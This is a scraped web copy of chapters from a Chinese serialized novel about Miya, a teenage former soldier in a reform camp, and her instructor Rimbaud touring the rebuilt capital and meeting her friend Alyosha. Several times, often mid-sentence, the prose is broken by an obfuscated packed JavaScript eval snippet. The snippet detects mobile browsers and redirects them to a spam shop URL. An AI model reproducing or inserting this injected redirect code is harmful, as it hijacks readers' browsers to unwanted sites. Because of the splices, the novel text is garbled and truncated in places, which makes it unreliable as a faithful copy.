“如果弥雅……或者你有任何想要补充的证言,随时告诉我。”谢尔更警官与兰波握手,她直视兰波的眼睛,诚恳地提议,“米哈尔,你知道的,如果你需要和人聊聊,我们也可以找个时间聊聊,喝杯咖啡,或者随便去哪里走一走。” 兰波微笑着戴上帽子:“多谢邀请,但只怕我一个月都没法进城几次。” “也是,但如果你恰好进城,随时联系我。” “我会的。”兰波转过身,垂眸看向弥雅,“没有遗落什么吧?” “我可没有能遗落的东西。” “那么走吧。” 边走下警局台阶,兰波边问:“怎么样?” 弥雅没好气地反问:“什么怎么样?” “你把原委都告诉谢尔更警官了?” 弥雅耸肩,不正面回答。 兰波驻足。弥雅立刻感到恼火。在台阶中段驻足实在引人注目。 “如果你把威尔逊以前的罪行也揭发出来,检察官就能以更高一级的罪名指控他。毕竟这一次--” 弥雅不耐烦地打断他:“是未遂。至于以前的事,我没有能说的了。不管你在猜测什么,没有证据的事都是胡思乱想。” “包括斯坦教官的事?” 弥雅刻意回避与兰波对视,自己往前走。虽然她也不知道自己在往哪里去。警局外车流攒动的街道让她一瞬间有些反胃。但她还是不管不顾地向前进发,一头扎进让她全身发毛的行人川流。有什么在皮肤下蠢蠢欲动,随时会现形。到了那个时刻,那些依靠在同伴身上行走的、傻瓜一样说笑的、不知道为什么一脸烦躁的人,都会齐齐盯过来,目不转睛地看妄图模仿他们的怪物。 兰波几乎立刻跟上来,仿佛随身带来一座她可以立足的岛屿。 但弥雅还是冷冷道:“我不知道你在说什么。也不知道汉娜和你说了什么。但斯坦教官已经死了。” “汉娜小姐什么都没有告诉我。我看了他的档案,我觉得有什么不对劲--” “兰波教官,”弥雅嚯地转身,“我希望你不要再追查下去了。这让我非常不舒服。” 兰波定定看她片刻,压了压帽檐:“我知道了。我不会再提了。” 弥雅哼了一声。 “那么首先,让我们离开这里。”来时乘坐的车辆停在路边,兰波为弥雅拉开后座门,而后坐上驾驶座,熟练地发动引擎,一边操作屏幕输入目的地一边说,“也许观光巴士是个更好的选择,但你似乎不太喜欢陌生的人群。” “什么意思?观光巴士?之后不是直接回营地吗?” 兰波操纵着机车汇入车流,在后视镜中向弥雅笑了笑:“根据你的外出记录来看,你至今还没什么机会看看现在首都变成了什么样子。而现在时间还早,我觉得在城里稍稍逛一逛不是个坏主意。” 弥雅有些瞠目结舌:“这违反规定。” 按照规章,除了由改造营组织的出游,还有处理无法在改造营办理的事项,学员不能在外面停留。 兰波好笑地摇头:“弥雅,我觉得你可能是改造营里最不合适教育我要遵守规则的那个人。” 弥雅哑口无言。 脱下制服的兰波竟然还会开玩笑。 “在天黑前一定回去。”兰波注视前方,略微停顿,收起笑意,“再者,如果现在就回去,一定会引发骚动。我不想让你经受不必要的关注。” “就算他们排着队在改造营门前等着看我做完口供回来,我也无所谓。”弥雅看着车窗外似曾相识的街景,烦躁地抓住裙摆,“我不想在外面闲逛。现在就回去。” “我没有在计划任何事,放轻松。如果你一个小时之后确实觉得首都很无聊的话,我们就回营地。可以吗?” 弥雅没作答。 兰波就再次确认:“这样可以吗,弥雅?” “随你。” “这一代的街道都在去年底依原样重建,那边圆环近旁的建筑都是用废墟中可以重新使用的石材复原的。”兰波说着放慢机车速度,靠边行驶,容弥雅能看清道路环岛旁的情状。 弥雅安静地注视一层玻璃外的景色。 转出圆环,残破的建筑物逐渐增多。有被警戒线围起的废墟堆,一墙之隔就是修缮一新的小房子,闪亮的橱窗后在卖的是弥雅没见过的东西。他们驶过焦黑的教堂双塔,她辨认出来,这就是她在改造营边沿,透过铁丝网看到的小小黑色三角。 “要不要下车去看看?教堂墓地旁边还有个相连的小花园。” 弥雅想拒绝。但转过街角的一对母女吸引了她的注意力。穿着与母亲同样朴素的灰色连衣裙的小女孩一手拿着冰淇淋,另一手牵着红气球。与女孩同行的女人看上去很年轻,也许那不是母亲,是姐姐。她轻轻从后环住女孩肩膀,防止孩子走到人行道边沿,动作非常自然,就好像已经这么做过很多很多次。 兰波什么都没说。他拐入街角边沿,关闭电源,等待片刻,才回头露出令弥雅感到烦闷的微笑:“走吧。” 车门打开良久,弥雅都没挪动一下。 “这里人不多。不信的话你可以探头确认。” “这和人多不多没有关系。我不属于这里。”弥雅垂头看向身上陌生的浓绿连衣裙,“我穿着这件衣服,像披着一层随时会掉下来的皮。” 兰波歉然垂头:“打扮会影响心境。尤其是制服。所以哪怕只有偶尔的一次,我也想让你感受不穿制服是什么感觉。但由我的立场而言,给你买任何东西都不妥当,所以我拜托了汉娜小姐,请她找出合适的旧衣服。” “这点你已经解释过一次了。我……我只是不想下去。” 兰波撑在车门上,略微向弥雅的方向俯就,声音压低:“没有人会知道你是谁,你曾经是谁。这是车身上挂的是私有标牌,不论是我还是你都没有穿制服。在他人眼里,我们就只是--” 他停顿了一下。 弥雅嘲弄地笑起来:“我们看起来就只是?” 兰波有些狼狈地转向车头方向,唇边现出苦笑:“我不想说是兄妹。但不管怎样,没有人知道我们是谁。弥雅,来吧。” 也许是感觉扳回一局,弥雅终于从车内钻出来。她缓慢地打量四周,不漏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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兰波谨慎地反驳:“偶尔还是会有人来的。” “福利院后的树林里就有一座小礼拜堂,旁边就是没能长大的孩子们的墓地。”弥雅不知道自己为什么突然说这些,“那时候,我喜欢在那里散步。” “你不害怕鬼魂?” 弥雅想了想,噙着略带嘲讽的浅笑说:“开始有些害怕,但是后来发现,可能还是活人更可怕一些,回想起来就不害怕了。” 兰波闻言微微一笑,不置可否。 弥雅渐趋平缓的心境再次皱成被石子击中后的水面。她向前走了两步:“我可以问一个问题吗?” “当然。” “为什么你……”弥雅发现说出口比想要难上许多倍,深呼吸了一下,才终于说下去,“为什么你可以对我保持和之前一样的态度?” “你不希望我这么做?” 弥雅下意识抓紧自己的手臂:“不是的。但是我不明白。”她回头,像看见什么刺目的东西似地眯起眼睛,失色的嘴唇颤抖了一下,并非提问,而是以难以置信的口吻陈述:“你不觉得我脏。” “弥雅。”兰波以叹息的口吻念她的名字。 “告诉我,为什么……为什么那个时候你哭了?” 兰波宛如预先知道到她迟早会问这个问题,认命地迎接这个时刻,涩然勾唇:“因为那时我意识到,我的想象太浅薄了。我想象不出你还可能经历过什么,也永远不可能真的体会和你同等的痛苦。在不知情的情况下,我说了很多只会给你徒增痛苦的话。这么说吧,那时我惊慌失措。我不知道自己还能为你做些什么。” 他描绘着自己的失态,眼神却不躲不闪,口气有种筋疲力尽后的平静和泰然: “我为自己的无能而哭了出来。” 8. 零下八十 弥雅的反应很平淡。不论兰波给出怎样的答案,她都只会耸肩:“是吗?但我本来就没期望你为我做什么。” 兰波无措地捏紧手中的帽子。 很少有人能像他一样坦诚。向他人剖开自己需要莫大的勇气,但他敞开的姿态未必能换来对方同等的毫无保留。至少这一次,弥雅没有接过他递来的言语之刃。她表现得无动于衷,只有他是个老实坦白的傻瓜。 从兰波混合了错愕与失落的表情中汲取了扭曲的快慰,弥雅脚步轻快地继续向前走,像在跳房子,交错步伐,踏上一块块石板,遵循每个格子里不存在的数字顺序,从小到大。 1, 2, 3,没有枪声的清晨,她和谁牵手一起蹦跳着矮身跑过街垒。如果撬开墓地的地砖,是否会打开通往地狱的入口,走下去就能找回那时的同伴。一,二,三。 4, 5, 6,在星夜穿越埋有爆|炸|装|置的无人区,不能踩中有石刻的地砖,那是鬼牌,抽中的人要拿着监测装置走在最前面。 7,拉下阀门,8,自动校准目标,9,扣动扳机。 再一次从1到9,第一个暴雨的午后,她短暂成为谁的姐姐,而后谁都不是。第二个细雨的黄昏。你有罪,必须赎罪。我有罪,所以遭受惩罚。第三个滂沱的夜。我要告发您。你去啊,没有人会相信你。9之后游戏并没有结束。晴朗是雨天。教官,您是喜欢我的对吗?当然。转多云也是雨天。教官,我可能爱您。我知道。没有您我活不下去。那我死了你岂不是要给我陪葬。13日正逢周五。您还是先一个人去死吧。阿廖沙,阿廖沙,阿廖沙。没有写了13的格子,13是不祥的数字,3个6也是恶魔的徽记,3的两倍是6,要怎么将6因数分解。其实每次她都在内心计数,但总被3和6夺去心神,从来没能数清楚到底几次之后才会结束。 挣开双眼,轻轻跳过墓园出口的铁门槛,弥雅背着手驻足回头。 兰波略微加快脚步跟上来。 附着在弥雅身后的絮语的数字像见到强光的亡灵,瞬间被驱散。 她仰望他,露出坏心眼的微笑,像要嘲弄他刚才的无言以对。但最后出口的是:“谢谢。” 兰波愕然瞪大了眼睛。 弥雅竟然有些遗憾,她手里如果有相机就好了。若能把兰波这一瞬间的表情捕捉下来,那么以后当她因为他的无懈可击而感到恐惧的时候,就能拿出来看一看,想起他也只是一个人。 “弥雅?” 她又已经走远了。 塔楼的入口铁门封闭,但悬着参观标识,手写的标牌上有个箭头,指向售票窗口。弥雅走到售票亭,今天周一不开放。 “不凑巧,但也没办法。不过我可以向你保证,在塔顶看到的风景值不回爬那些台阶花费的力气。” 弥雅并不遗憾,随意问:“之后去哪里?” 兰波顿了一拍才问:“你有没有想去的地方?” 他眼里噙着的笑意让弥雅胸口烦闷。被对方牵着鼻子走,似乎还被取笑了。她冷冷回道:“营地。” “你确定?之后可能很难有这样好好看看首都的机会了。” 弥雅嗤笑:“那么你倒是说说,你还想让我看什么?” 兰波竟然真的停下来思索片刻才说:“选项太多了。但至少,我想让你在街道上走一走,也许那样你就能相信,另一种生活真实存在。你可以和这座城市里的任何一个人一样活下去。” 弥雅没有和此前一般立刻反驳。她站在票亭边嫩绿的橡树庇荫里,目光穿过行道树,锁定第一个出现在视野中的行人。那是一个穿着羊毛西装、须发俱白的老者,肘窝下夹着一个狭长的包裹,另一手支着拐杖。 她问:“那个人的生活是什么样的?” “那位老先生的着装很整洁,但西服不太合身,像是比他更高大的另一个人的衣服。也许是儿子,也许是兄弟,而这很可能是他眼下能穿出门的、最体面的衣服了。他携带的包裹……应该是长条的卷烟,虽然称不上是稀缺品,但也不容易到手。看起来,这位先生正前往拜访什么人,而他对那个人有事相求。” “那个人呢?牵着小狗的女人。” “看起来是和家人吵架、一气之下出门散步的一位女士。” “证据?” “那位女士穿的还是室内的便鞋,这个季节厚大衣已经有些闷热了,她依旧把腰带绑好,大衣里面穿的很可能是来不及的换的睡衣。从这里可见是突然离家。现在能够负担得起那样小巧可爱的宠物犬的家庭条件都不会太差。虽然可能有失偏颇,但这样家庭的太太……一般不会素面朝天地出门,你看她的发型,还有指甲,如果是平日,可能会涂和指甲颜色相称的口红。” 弥雅无法掩饰讶异:“你怎么一下子看得出这些?” 兰波收回视线,措辞温和却有所保留:“学会如何看人对于某些职业来说是基本素养。” “比如银行家?” “对。”兰波的微笑里有歉疚的阴影。不等弥雅继续刨根问底,他就主动坦白:“虽然比不上曾经在这里拥有的,但父亲还是在海外的亲故手下找到了工作,足够养活我们全家。他和母亲都希望我能在那位熟人手下工作。但我还是扔下一切回到这里。” “于是,比起一眼看出客户是什么样的人,你宁可和一个少年战犯一起猜测下一个冒出来的路人是什么身份?” “有时候,人必须舍弃一些东西才能继续前进。”兰波侧眸看向弥雅,“而且父亲培养出的本领也并非没有用武之地。” 弥雅在他的注视下默然垂头。喉头因为发紧的刺痛变得干涩,她谨慎地呼气,害怕稍不小心就会把疑问也吐出来: 在他眼里,她又是什么样的人? 她想知道,又不想知道答案。 “弥雅,那位走过去的女士也可以是你。” 弥雅愕然循声抬头。她只看到一个快步远去的背影。 “她背着有政府机关刺绣纹章的公文包,有一份不错的稳定工作,穿过教堂废墟时只随意瞥了一眼,可见对这里很熟悉,也许工作场所就在附近。虽然打扮很朴素,但头发绑了丝巾,表明她有略微妆点自己的心情和自信。最重要的是,那位女士看起来很快乐。” “你觉得我可以成为她那样的人?”弥雅扬起眉毛。 兰波以陈述事实的口气应道:“如果你愿意毕业的话。” 弥雅哂然,显然不相信。 “弥雅,想象一下,你也可以一个人走在这样的街道上,到了夏天的时候,这些行道树会开花--” 弥雅有那么短暂的一瞬间,被兰波以言语勾勒的图景吸了进去。 她穿着带跟的皮鞋,提着公文包,走在繁花盛开的树下,已经有炎热征兆的微风送来浓郁到黏稠的香气,迈出左脚,迈出右脚,就这么一步步地向前,走出树荫,踏进日光下的路口-- 弥雅眨了眨眼。细微的香气还驻留在鼻尖。她随即意识到,春日的野花正在分隔废墟与人行道的细长绿化带中成簇盛开,有白色,有紫色,还有与太阳一样明亮的黄色。与长途旅行结束近似的疲劳令她略微晕眩,没有多想就抬头问:“如果你所说的夏天真的到来,那个时候你会在哪里?” 兰波没料到她会这么问。 弥雅悬浮在仿佛触手可及的幻想中的躯体重重落回现实。她抱紧双臂,仿佛真的因为从高处坠地而疼痛。随即,屈辱与懊悔令她浑身颤抖。她竟然允许自己顺着兰波的胡话想下去!不仅如此,还问出了那么愚蠢的问题。就好像……对什么有所期待。 她本能地理解了兰波沉默的涵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726823|189495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 义,却不愿直视答案,索性将问题本身都摒弃。 “够了,现在就带我回去。”弥雅说着大步朝停车的街角走去。 兰波过了片刻才追上来:“好。” 这一次兰波为弥雅拉开副驾驶座的车门。 “我坐后面。” 兰波解释:“现在回程能看到夕阳,在前排视野会好很多。” 弥雅不想和他多争论,便依然矮身钻进副驾驶座。 兰波启动电源,设置目的地,驶入车流。 两人都陷入彻底的沉默。 第一个十字路口,兰波在屏幕上滑动指尖,弥雅从没听过的乐曲轻柔地从车厢角落流泻而出。 “这是什么?” “我也没听过。” 因无言的紧张感而命悬一线的对话彻底断气。 弥雅将头抵在车窗上,看着信号灯给出通行指示,漠然任由首都成排的楼宇和橱窗从眼前滑过。她没有看兰波是什么表情。 沉默持续了一路。 他们驶出城区,奔向丘陵环绕的城郊。往来的车越来越稀少,拐入一条新修葺的道路后,后视镜最后一辆作伴到这里的车的影子也消失了。 车开始缓慢地爬坡,弥雅辨认出近旁景物。只要从这个坡上下去,再绕过一段盘山的路,就是营地正门。 正如兰波所言,他们赶上了日落。 向山后沉没的夕阳染红了整片天空,树木和平房都融化于流动的橙红色。明明已经落到天际线后,太阳却再次膨胀,以瑰丽的艳光将天空与大地都吞没。 兰波踩下刹车。 车停在坡道顶端,穿过挡风玻璃就是全力燃烧的日落。 “再往前一点,就好像会掉进太阳。如果真的掉下去的话,会很烫,很痛,但应该一眨眼就会结束。”弥雅突然出声。 她不确定自己究竟在对谁说话。也许她只是将突然在脑海中浮现的句子念了出来。 兰波与她对上眼神,脸被夕照侵染,双眸属于追赶而来的夜空。 “不会结束。明天太阳就会重新升起,后天,大后天,每一天都会。”他说。 “总有一天,太阳也会烧干净的。” “但不管是你还是我,都不会看到那一天的,”兰波顿了顿,抓住向和解流动的气氛继续说,“有了威尔逊的案子,高层很可能愿意对你特殊处理。只要你愿意,毕业并非难事。” “我通不过考试。你也应该看了我档案中的政治倾向测试得分。” 兰波叹息:“我不认为能精准地避开每道题、每一个能得正分的选项的人真的通不过考试。你今天看到的一切,你可以成为其中的一份子。” 弥雅在前座上蜷缩起来,抱住双膝侧头,给兰波一个称得上恬静的微笑: “兰波教官,谢谢你让我做了个美梦。” 兰波看上去像被迎面抡了一拳。弥雅都险些要可怜他了。 他抓住方向盘,重新启动引擎,目视前方,几乎在恳求她:“总之……弥雅,请你再好好想想。” 前灯打开,车辆的影子滑入坡底。改造营正门距离向太阳自由落体的最佳地点只有数分钟路程。但兰波和弥雅并非唯一在这时候返回的人。门前还停了一辆医疗车,后盖打开,坡道下放,护士打扮的人推着轮椅下来。 弥雅忽然变得躁动不安。她立刻去拉车门把手,试图开门。 “停车,我要下去!现在!” 她拔高的仓皇声调中有什么触动了兰波。他没有反对,停车解开门锁。 弥雅踉跄跳车,向着轮椅全力跑去。 护士听到脚步声,疑惑地驻足回头。 弥雅绕到轮椅正前方,喘息着定睛看轮椅上端坐的人,破碎的音节从唇间滑落: “阿--廖沙。” 9. 零下八十 “弥雅。”轮椅上消瘦的少年笑着伸出手,像邀请她跳舞。 她一把抓住阿廖沙的指掌,声音颤抖:“阿廖沙,你真的已经没事了?” 阿廖沙笑得眼睛眯成月牙:“你自己看嘛,我好好的,没缺手也没缺脚。” “喂,你们两个--”从医疗车上走下另一位改造营教官。 弥雅和阿廖沙动作一致地循声转头。黑发少年与金发少女齐齐瞪过去,充满敌意的注视居然令那教官失语。 “如果你们又要禁止我和弥雅见面,那么……”阿廖沙与弥雅相视而笑,“我们会给你们所有人惹出很大的麻烦。” 弥雅与阿廖沙长得并不像,给人的印象却神似,第一眼看过去会误以为是兄妹,再多看一眼就会意识到是错觉。但两人无疑是同类。并非有多少共同点,只是因为他们都被驱逐,因而自然而然归到一处。完全相同的是无处安放的眼神和手。目光始终在游移,小动作半秒都停不下来,只在看着彼此、靠近对方的时候获得些微的安宁。 只是站在那里,这对少年少女的身周便划出生人勿近的隐形警戒线。 兰波明确却也慎重地踏进线内:“弥雅,这位就是你的朋友阿廖沙?” 阿廖沙正面接话:“那么你一定就是弥雅的新指导教官。” “我姓兰波。” 阿廖沙向后仰头,笑笑地看弥雅,大声说:“我讨厌他。” “我知道,”弥雅回一个微笑,声音很平静,“我一样。” “既然这样,要不要再换一个教官?” “反正没多少时间了,就这样也无所谓。”弥雅说着走到阿廖沙身后,从护士那里抢来推轮椅的任务。 阿廖沙却转头,不依不饶地去盯弥雅的眼睛:“真的?” 弥雅后背上有条冰凉的蛇缓慢地游了过去,她只能当作感觉不到,叹气:“他只是个怪人而已,放着不用管就行了。” 轮椅比弥雅想象得要沉,她屏息用力才成功推动。 “我来帮忙吧。”兰波提议。 “不需要。” “好啊。” 重叠的答句略微错拍。弥雅讶然注视阿廖沙,他狡黠地摊手:“虽然我这身骨头上没多少肉,但人的身体意外都挺沉的,我不想累到你。而且,你站在身后我就看不到你了。” “他还有手续要办,”阿廖沙的教官冷冷插口,向兰波说,“这里没您的事了。” 兰波毫不介怀地礼貌微笑:“希望之后有机会和您喝杯咖啡。那么我和弥雅就先告辞了。” 弥雅不太情愿地跟着兰波走了两步,回头张望。 阿廖沙挥了挥绷带缠绕的右手:“晚安,弥雅。” “之后见。”弥雅踏入哨口的检察亭,接受搜身。 搜检的教官毫不马虎,连裙脚的包边都仔细摸了一圈。 “这种地方有什么能夹带的东西?”弥雅不耐烦起来。 “针,刀片,违禁药品。” “多谢,下次出门我知道该怎么夹带了。”教官还要检查她的鞋子,弥雅干脆将鞋蹬松踢开,只穿棉袜往哨厅外面走,无视站在门边的兰波。 “站住!” 弥雅将搜检教官气急败坏的呵斥甩在身后。 就在不久前还灼灼点亮半边天空的日落已然不见踪迹。但营地四处都亮着灯,白昼入夜,像要照彻每一个可供人躲藏的昏暗角落。弥雅被惨白的强光灯照得想大声喊叫,不禁加快步伐。 有人从身后跟上来,脚步声十分熟悉。 “你的鞋子。”兰波走到弥雅身侧,手中果然提着她大怒之下抛弃的鞋子。 “我不要了。” 兰波无可奈何地苦笑:“弥雅。” 弥雅被他这么一唤,愈发感觉自己被看低了。那她索性就当个发脾气的不讲理恶童。双臂环绕,她蛮横地向兰波一抬下巴,恶意放软声调:“那你帮我穿。” “我不会那么做。那不妥当。” 他义正言辞的样子令弥雅愈发心烦:“那就闭嘴,也不要再跟着我了。” 兰波佯作没有听见,将鞋轻轻放到地上,向弥雅伸出单边手臂:“如果需要,你可以在穿鞋的时候扶住我。” “不需要。”弥雅没好气地别开脸,快速俯身踩上鞋子,将脚后跟位置的皮革拉出来。她像是示威,愤愤跺脚,为在警局露面而穿的皮鞋鞋跟叩地,发出清响。 “我送你回去。” “我还不想回宿舍!” “我和汉娜小姐商量过了,眼下你可以继续住在她那里。” 弥雅怔了怔:“她同意了?” 兰波有些困扰地捏住帽檐:“同意了。但我又欠她一个更大的人情。这样的安排你能接受吗?” 突然被认真征询意见,弥雅没反应过来。她很快匆忙敷衍:“随便……” “那么我就送你到她居住的宿舍楼下。” 其实现在对弥雅而言回到室内还早。她早已养成在外游荡到深夜的习惯。但这一天内发生的事实在是太多了,不论是应付谢尔更警官的问询,还是阿廖沙出院,都从她身上毫不客气地抽走了气力。在焦黑的教堂双塔下的谈话则化作了一副轮廓模糊的版画,附在意识深处的背景板上,哪怕不费心去思索,也停驻在余光里。 弥雅特意挑照明相对少的路走,一只脚踩在绿化带,走在树木的阴影之中。 一路无言。 春日夜晚柔和的风吹皱地上的人影。即便拉长了,弥雅的影子还是只勉强够得着兰波肩膀。 “你不问阿廖沙的事?”她突然出声。 兰波侧眸看她,反问:“关于阿廖沙,你有想要告诉我的?” 弥雅肩膀轻颤了一下,险些缩起来。她冷冷道:“没什么可以和你说的。” 兰波像是接受了她这个说法,没有追问。 弥雅觉得反常。 但他们已经走出树荫覆盖的小道,来到原本是疗养院侧翼的教官宿舍A栋近旁。兰波停住脚步:“还有一件事。从明天开始,改造营惯例的讲座、讨论小组、户外活动,你全都不需要再参加。” 弥雅嗤笑:“我本来就不参加。” 但她猜想兰波还有后手,狐疑地盯住他。 果不其然:“但相应地,每天早晨9点,我会和你面谈两个小时。” 不再是每周一次,而是每天与兰波一对一谈话。弥雅打了个寒颤,立刻回绝:“那些无聊的活动我不会参加,但我也不会和你浪费时间。” 顿了顿,她握紧双拳:“你这家伙是不是有病啊?!懂不懂什么叫放弃?” 兰波弯了弯眼角,宽容又温和地忽略她的咒骂:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那是个糟糕的下午,细雨连绵,3点的铃声闷闷地响过,天际乌云密布,更像是黄昏。 她蜷缩在宿舍楼天台的角落,木然地任由雨幕一遍遍冲刷她。 “弥雅。” 突然有人唤她。弥雅抬起头,不知道从哪里冒出来、不知道什么时候来到身边的陌生少年向她微笑。 不等她有所反应,他就在她身边坐下,抱膝歪头报以凝视:“你可以叫我阿廖沙。” “阿,廖,沙。”弥雅机械地重复,漫不经心地与他视线相触。 眼前的这个男孩只能“漂亮”这个字眼来形容。被雨打湿的头发贴在脸上,水滴沾满睫毛鼻尖,脸颊和指节因为大雨冲刷发红。他像被淋湿的幼兽,惹人怜爱。但弥雅立刻辨认出来,阿廖沙楚楚动人的模样只是演技。就连这点刻意都并非疏漏,而是刻意。那是向她释放的信号。 “什么都不用说,我明白的。我观察你很久了。”阿廖沙俯身凑近,冰冷的嘴唇贴住濡湿的嘴唇,谁都没有眨眼,只是直勾勾地看着彼此。这是个没有掀起一丝涟漪的吻。他后撤,笑起来,“你看,我们是一样的。” 10. 零下七十九 早晨九点差十分,弥雅走出教官宿舍楼。 晨练和早饭都已经结束,住宿区分外安静。从小树林的彼方传来空阔的叫喊声,是进行户外活动的小组在笑闹,大概在打球,也许在赛跑。不论哪种都是弥雅讨厌的集体活动。她一直不明白为什么那么多人都能在这种地方没心没肺地笑出来,就好像改造营的场地与外面学校的草场无异。 “早上好。”兰波向她走来,犹豫了一下,还是从口袋里摸出一个油纸包,“如果你还没吃早饭的话……” 他显然准备好被弥雅言辞激烈地拒绝。 弥雅一言不发地接过,扯开包装纸,牙齿埋进果酱面包。 兰波有些惊讶,随即露出微笑。 几口将不知是什么味道的面包下肚,弥雅反手抹掉嘴角沾上的果酱,将包装纸团成球,朝着两步外的垃圾桶潇洒一投。 纸团利落跌入目的地。 “好球。” 她无言地看向兰波,仿佛在嘲笑他大惊小怪。 “那么我们走吧。” 弥雅刻意落后兰波一步,跟着他前往接待室。 “今天下午你打算干什么?”兰波没有回头。 弥雅没有答话。 兰波回头,她耸肩,目光避开他落在道边的杂草上。 她听到他发出的短促的气声,仿佛本要说什么别的,临到嘴边改口:“你有什么想看的书吗?假如图书室没有,我也许可以帮你借到手。” 弥雅摇摇头,双手插在制服外套的口袋里,超过兰波当先走进学员中心。 学员中心是改造营为数不多完全重新建造的建筑。这栋三层楼房大半都是一个个独立的雪白房间,没有标识的白色小门排满四方形走廊两侧,不论走到这栋建筑的哪个角落,看到的都是一成不变的景色。 弥雅认为学员中心的构造并非偶然。 刚来到改造营的时候,仅仅是每周日在规定的时间前独自踏上这洁净得刺目的走廊,都会让她背后发毛。宛如在不知不觉间毫无抵抗地深入荒谬梦境里的迷宫,令她感觉只凭一个人不可能走出去。 兰波事先预约的接待室门上亮起标识,不需要钥匙,门便悄然打开。 弥雅驻足,以眼神示意兰波先进门。 这是弥雅第一次与指导教官同时抵达接待室。 兰波进门后转身立定,让弥雅先挑喜欢的位置落座。 弥雅想了想,选择了右手边的椅子。 兰波的视线在她身上因此多停留了数秒。他随即座下,一边摘下军帽,一边再次试图搭话:“昨晚睡得好吗?” 弥雅又无谓地耸肩。 “既然如此,我们就正式开始。” 房门关上,自动上锁。 “首先,能告诉我你对于昨天在城中所见所闻的感想吗?” 弥雅侧过头注视墙壁,仿佛在回忆。但过了良久,她不仅一个音节都吝于给予,甚至整个人一动不动。 “弥雅?”兰波蹙眉。 她循声看向他,露出略显困惑的微笑。浑似在异国街头忽然被当地人以陌生语言搭话的旅人,根本听不懂对方在说什么。 这对视僵持了须臾。兰波没有表现出怒意或是不悦,但弥雅感觉得到,她花费整晚想出的对策生效了。他不喜欢她这样的应对方式。 “拒绝开口、坚决沉默,弥雅,这就是你的打算?”兰波果然足够敏锐。 弥雅原本打算依旧以含糊的笑面敷衍过去。她甚至很想知道,如果她继续沉默下去,兰波会不会终于撕下风度良好的笑面,对她大发雷霆。 但兰波压低上身,满脸恳切地看着她:“请你别这样。我想知道你的想法。” 弥雅笑不出来了,绷紧唇线。 “求你了。” 这字眼比刀刃、比枪口都要可怖。她不明白兰波为什么能对她说出这话,还不止一次。而只要他吐出这暗含示弱意味的词句,她就仿佛着魔,厌烦得希望兰波的漂亮话和他这个人下一刻一起消失,但又觉得这还不足够。 她想要令兰波真正向她低头,击溃他,逼他比尘泥跪得更低。 不是这样诚恳却也礼貌的请求,应该是更加发自内心、更加卑微的“求你了。” 弥雅等沸腾的心绪不再冒泡,才学着教官陈述各类数据和事实的时候的口气,平静又理所当然地宣告:“我和你已经没有话可以说。昨天我就这么说过。” “我不这么认为。” 弥雅面带嘲讽的微笑,将脸别到一边。 “弥雅……你在害怕什么?” “哈?” “在我看来是这样。” 弥雅尖刻地反问:“这个房间里,除了我自己之外,能让我害怕的不就只有你了?” “不,我觉得令你感到恐惧的并不是我。”兰波看着她,那是一种仿佛穿过她、能将跟在她身后的亡灵群落都一并钉在墙上的眼神。 弥雅深呼吸。不能自乱阵脚。不能对兰波说的话做出反应。 她知道他在观察她、分析她。但不论他的结论是否正确,她都不能表露出分毫。 兰波将推论更进一步:“我是否可以认为,你之所以突然想要以这种方式抵抗,是因为我们之间的谈话已经开始生效,而你对此感到恐惧?” 弥雅因兰波的假设打了个寒颤。 她不置可否,只偏了偏头。 兰波眯起眼睛。他做这个小动作的时候,有种孩童似的的稚拙。 她便带着恶意的好奇微笑起来,像是个围观事故的过路人,单纯想看看兰波还能吐出什么样的荒谬揣测。 “这和阿廖沙有关联吗?” 弥雅不假思索还嘴:“和他没关系!” “是吗?那么,能不能告诉我,你和阿廖沙是怎么成为好朋友的。” “关你屁事。” “阿廖沙是个什么样的人?” “教官都能调阅学员档案,这种事你比我更清楚。” “我想知道的,是在你眼里看到的阿廖沙的事。” 弥雅突然安静下来。她的视野开始游移,像在满房间地找寻什么东西的影子。 而后,几乎同等突兀地,她起身,走到兰波面前。 “你--”她第一次俯视他,“你不要打阿廖沙的主意。否则你会后悔的。” 兰波竟然真诚地追问:“为什么?” “因为我不希望他也被讨厌的人缠上。” 片刻的寂静。 就在弥雅要舒一口气的时候,兰波冷不防发问: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如果是弥雅这样劣迹斑斑的学员……大概会被关禁闭处罚。运气好的话,会直接持续到她生日那天。而那样的话,即便是身为指导教官的兰波,也无法在禁闭期间看望她,更不用说直接介入改造营复杂又微妙的层层手续和人际关系。她甚至有点想感谢斯坦教官教会她改造营的惩处条例是怎么运作的。 如果袭击教官,会记更严重的过错。但是弥雅觉得即便把椅子朝兰波扔过去,也未必能造成任何能被审判的伤害。太自不量力。 她松手,任由椅子重重砸在地上。 兰波像是意识到什么,站起身来。 弥雅的声音在刺耳又急促的电子警铃中显得分外平静。这可能是她第一次以这样的口气对兰波说话: 